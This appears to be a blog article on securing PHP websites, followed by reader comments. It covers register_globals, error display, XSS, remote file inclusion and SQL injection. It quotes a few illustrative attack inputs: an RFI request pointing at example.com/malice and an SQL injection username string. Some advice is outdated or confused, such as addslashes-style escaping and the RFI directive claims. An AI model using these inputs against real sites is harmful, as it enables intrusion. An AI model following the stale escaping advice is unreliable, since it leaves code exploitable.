PHP Security: Fortifying Your Website- Power Tips, Tools & How to’s
Defining PHP Security and It’s uses
PHP is the most popular web programming languages in use today due in large part to the fact that it’s a highly flexible syntax that can perform many functions while working flawlessly in conjunction with html – Plus it’s relatively easy to learn for beginners, yet it’s powerful enough for advanced users as well. It also works exceptionally well with open source tools, such as the Apache web server and MySQL database. In other words, its versatility is unsurpassed when compared to other scripting languages, making it the language of choice for many programmers.
Though many programmers and developers may be implementing PHP in their websites, the issue of PHP security is often overlooked when building a site. Insecure coding is rather common in PHP due to the fact that it’s such a forgiving language that will often “work” even when there are a few loose ends in the coding. These “loose ends” are what hackers are looking for, and in PHP, they’re not that hard to find. The key is for you to find them first, and to leverage PHP’s unique features to minimize your security vulnerability.
PHP Security involves minimizing programming errors as much as possible, and putting proper code in place to protect against possible vulnerabilities – Often times this means putting 2-3 “layers” of protection in place to guard sensitive data against hackers that could otherwise cause a catastrophic result if compromised. Developers call this principle of redundant safeguarding Defense in Depth, and this concept has been proven over the years to be an extremely effective defense against malicious attacks.
Types of Attacks
There are various types of attacks that PHP is particularly vulnerable to, and any website that sends or receives information is at risk of an attack – ranging from an annoyance to catastrophic – so it’s important to put the proper security in place to minimize the risk. The two main types of attacks are human attacks and automated attacks – Both of which can potentially devastate a website.
The most common type of human attacks are little more than annoyances and are common at file storage sites and forums, such as abusing file storage policy, defamation, lobbying at sites such Amazon or Yahoo Answers, and other similar abuse that doesn’t necessarily involve manipulation of your website’s source code. Humans can also find security holes that allow them to access source code and use it maliciously. This can potentially cause substantial damage to your website, so this is the type of human attack you should focus your efforts on.
Automated attacks are particularly dangerous because of their efficiency in using the power of automated scripts to wreak havoc on your website in a number of different ways. These attacks may slow down your site, access the error logs, manipulate the source code, or compromise sensitive information – The possibilities are seemingly endless. The most common, and notorious, type of automated attack are viruses and worm, which are slightly different in nature but are similar in the way that they can potentially harm a website.
The goal of PHP security is to minimize, and ultimately eliminate, the potential for both human and automated attacks by putting into place strategic lines of defense to eliminate access to your site by unverified users. The way you go about doing this is to target the most common types of PHP security breaches first, so that you make your website airtight against malicious attacks. So what are the most common types of PHP security breaches?
Most Common PHP Security Vulnerabilities
Experienced hackers know the most common types of security holes to look for in PHP, so it’s important to address these issues first. It doesn’t matter whether you’re a beginner or expert PHP programmer, every programmer makes mistakes now and then, and hackers will find it if you don’t first.
1. Register_Globals
Register_Globals makes writing PHP applications simple and convenient for the developer, but it also poses a potential security risk. This setting is located in PHP’s configuration file, which is php.ini, and it can be either turned on or off. When turned on, it allows unverified users to inject variables into an application to gain administrative access to your website. Most, if not all, PHP security experts recommend turning register_globals off.
For example take a look at the code snippet below. A user could append the end of a page's url with ?admin=1 to basically force entry to administrative areas that would normally require a password.
With register_globals turned off, this type of forced entry isn’t possible. The good news is that PHP 4.2.0 has register_globals turned off as its default setting, and PHP 6.0.0 has actually removed the feature. While some developers frown upon this move because register_globals off makes programming in PHP slightly more time-consuming, but in terms of PHP security it’s a crucial step in the right direction.
So instead of relying on register_globals, you should instead go through PHP Predefined Variables, such as $_REQUEST. To further tighten security, you should also specify by using: $_ENV, $_GET, $_POST, $_COOKIE, or $_SERVER instead using the more general $_REQUEST.
2. Error Reporting
Error reporting is a great tool for diagnosing bugs and allowing you to fix them quicker and easier, but it also poses a potential security threat. The problem occurs when the error is visible to others on-screen, because it reveals possible security holes in your source code that a hacker can easily take advantage of. If display_errors is not turned off, or have a value of “0”, the output will appear on the end user’s browser – Not good for security! You do, however, want to set log_errors to on, and then indicate the exact location of the log with error_log.
Take a look at the table below from PHPFreaks.com, which points out the recommended settings for both production and development instances of PHP web applications.
3. Cross-Site Scripting (XSS)
Cross-site scripting, or XSS, is a way for hackers to gather your website’s user data by using malicious markup or JavaScript code to trick a user, or their browser, to follow a bad link or present their login details to a fake login screen that instead of logging them in, steals their personal information. The best way to defend against XSS is to disable JavaScript and images while surfing the web, but we all know that’s nearly impossible with so many websites using JavaScript’s rich application environment these days.
To defend against XSS attacks, you need to be proactive – Don’t wait until your website has already been exploited. For instance, PHP applications that use form submission, or POST requests, are much less vulnerable than GET requests. So it’s very important that you spell out which variables and actions will be allowed as GET values, and also which ones must come via POST values. In a nutshell, defending against XSS involves controlling the user input at your site and making sure that it goes through a filtering process to ensure that it’s void of malicious code.
An example of filtering user input can be found in the snippet of code below that was taken from Pro PHP Security by Chris Snyder and Michael Southwell.
This relatively straightforward piece of code works by preventing html and JavaScript from being embedded in the input, which results in a completely safe version of the input. This is especially useful for comment sections of a blog, forums and other web applications that receive user input.
Also useful for protecting against XSS is a useful PHP function called htmlentities(). This simple function works by converting all characters in html to their corresponding entities, such as “<” would convert to “<” (without the quotes).
4. Remote File Inclusion (RFI)
This type of attack is relatively unknown amongst developers, which makes it an especially damaging threat to PHP security. Remote file inclusion, or RFI, involves an attack from a remote location that exploits a vulnerable PHP application and injects malicious code for the purpose of spamming or even gaining access to the root folder of the server. An unverified user gaining access to any server can wreak major havoc on a website in many different ways, including abusing personal information stored in databases.
A great example of an RFI attack can be found atPHPFreaks.com. Here's an exerpt from that page:
Imagine that at http://example.com/malice.php a file exists and our script is located at http://site.com/index.php. The attacker will do this request: http://site.com/index.php?page=http://example.com/malice. This file will get executed when it is included and it will a write a new file to the disk.
The best way to secure your site from RFI attacks is through php.ini directives – Specifically, the allow_url_fopen and the allow_url_include directives. The allow_url_fopen directive is set to on by default, and the allow_url_include is set to off. These two simple directives will adequately protect your site from RFI attacks.
Other PHP Security Tools
While the most effective way to secure PHP web application is through accurate coding and vigilante monitoring of your site, there are other helpful tools out there that can help to quickly and easily point out possible vulnerabilities in your PHP coding. Here are three useful tools that can be beneficial to PHP developers:
- PhpSecInfo
This useful tool reports security information in the PHP environment, and best of all, it offers suggestions for improving the errors. It’s available for download under the “New BSD” license, and the PhpSecInfo project is always looking for more PHP developers to help improve this tool.
- PHP Security Scanner
This is a tool used to scan PHP code for vulnerabilities, and it can be used to scan any directory. PHP Security Scanner features a useful UI for better visualization of potential problems, and it supports basic wild card search functionality for filtering directories or files that are to be searched.
Download PHP Security Scanner Here
It’s also worth making use of an SQL injection vulnerability scanner alongside this PHP-focused solution, giving you a more comprehensive overview of your site’s security setup and streamlining subsequent troubleshooting efforts.
Thanks, I’m definitely going to check the security of my projects. Currently I’m busy with a WebOS, which needs to be as secure as possible.
When a variable, which is supposed to contain an integer, is incoming via POST or GET into a PHP script, it is the right thing to use casting.
$a = (int)$_POST[‘a’];
It is fast, it does not take resources, and serializes the variable containing an integer.
Casting an unfiltered variable is never the right thing to do.
Always filter data before processing it. You don’t know what’s in there.
..if you expect an integer, yes, it is a good thing to do.
I must agree here!
If you are expecting your values to be numeric, then string values will simply return 0’s.
Also generally a very good idea to get good with using preg_match(), and other similar regular expressions on your returned data. It may be that not all systems are as up-to-date enough to have “htmlentities” available to your scripts.
– Just a thought.
– Jim.
A simple to understand article covering important topics, a great article for the less experience.
Another important Security issue in PHP is SQL injection. SQL injection attacks are extremely simple to defend against, but many applications are still vulnerable. Consider the following SQL statement:
This query is constructed with $_POST, which should immediately look suspicious.
Assume that this query is creating a new account. The user provides a desired username and an email address. The registration application generates a temporary password and emails it to the user to verify the email address. Imagine that the user enters the following as a username:
bad_guy’, ‘mypass’, ”), (‘good_guy
This certainly doesn’t look like a valid username, but with no data filtering in place, the application can’t tell. If a valid email address is given ([email protected], for example), and 1234 is what the application generates for the password, the SQL statement becomes the following:
Rather than the intended action of creating a single account (good_guy) with a valid email address, the application has been tricked into creating two accounts, and the user supplied every detail of the bad_guy account.
While this particular example might not seem so harmful, it should be clear that worse things could happen once an attacker can make modifications to your SQL statements.
For example, depending on the database you are using, it might be possible to send multiple queries to the database server in a single call. Thus, a user can potentially terminate the existing query with a semicolon and follow this with a query of the user’s choosing.
MySQL, until recently, does not allow multiple queries, so this particular risk is mitigated. Newer versions of MySQL allow multiple queries, but the corresponding PHP extension (ext/mysqli) requires that you use a separate function if you want to send multiple queries (mysqli_multi_query() instead of mysqli_query()). Only allowing a single query is safer, because it limits what an attacker can potentially do.
Protecting against SQL injection is easy:
Filter your data.
This cannot be overstressed. With good data filtering in place, most security concerns are mitigated, and some are practically eliminated.
Quote your data.
If your database allows it (MySQL does), put single quotes around all values in your SQL statements, regardless of the data type.
Escape your data.
Sometimes valid data can unintentionally interfere with the format of the SQL statement itself. Use mysql_escape_string() or an escaping function native to your particular database. If there isn’t a specific one, addslashes() is a good last resort.
Thank you all for your comments! They are much appreciated!
If you have any questions, please feel free to ask.
Good points, but it’s helpful to distinguish between different kinds of data. Input should be filtered; output should be escaped.
I’m not sure about “Quote your data”, either, in the context of SQL. It’s a good practice if you’re doing something like:
query(“SELECT * FROM table WHERE id=’$id'”);
But you shouldn’t be doing something like this. Instead you should be binding parameters (psuedo-code follows):
$sql = “SELECT * FROM table WHERE id=?”;
execute($sql, array($id));
This keeps your data totally separate from your query. The ability to bind parameters is built in to PHP 5’s PDO class.
I am new and very inexperience with php and web programming. So please help if you could.
This question is about SQL injection:
If I have an input which can only be a 4-digit postcode. This postcode is used to run an MySQL query. Since i know it needs to be numbers only and must be 4 digits in lenght (make size = 4), then I can simply check the input to make sure it is valid before running the query, otherwise, I prompt user to re-enter a valid postcode.
Is this good enough? Or am I still running a risk of SQL injection?
nice topic.
thanks for shedding more light on this.
To filter and sanitize external data I like to use these two functions filter_var() and filter_input() which are best practices, so just go ahead with these best practices ;)
All PHP vulnerabilities are due to programming errors; the language is not itself vulnerable. Most of these vulnerabilities are based on inadequate filtering of input whether it’s from the URL or posted data.
PHP frameworks can assist greatly with this onerous task and would be highly recommended for any production site. KohanaPHP and CodeIgniter are two I’d recommend but their bare-minimum approach may not suit your own programming abilities.
Alternatively, make sure you have a good backup. A cron job that dumps your database and a scheduled rsync or FTP dump would be well-advised. It’s kept me out of hot water for many years even when my programming skills let me down.
“All PHP vulnerabilities are due to programming errors; the language is not itself vulnerable”
Not true, else why would the PHP team be constantly releasing new versions with security fixes.
Maybe what you meant was that PHP itself is no more or less secure than any other programming language?
Hardened PHP has tools to help secure PHP. And mod_security on the web app side to secure the web frontend.
I’m a bit of a beginner still in PHP. Wondering about logins (using php4 i guess). If I have a page.php that has a form with a login, this info will be passed on to page2.php where the username/passwords are stored (Can’t use MySQL DB for this sample so go along), is this safe? What is a better way of doing this?
Thanks for sharing valuable knowledge :)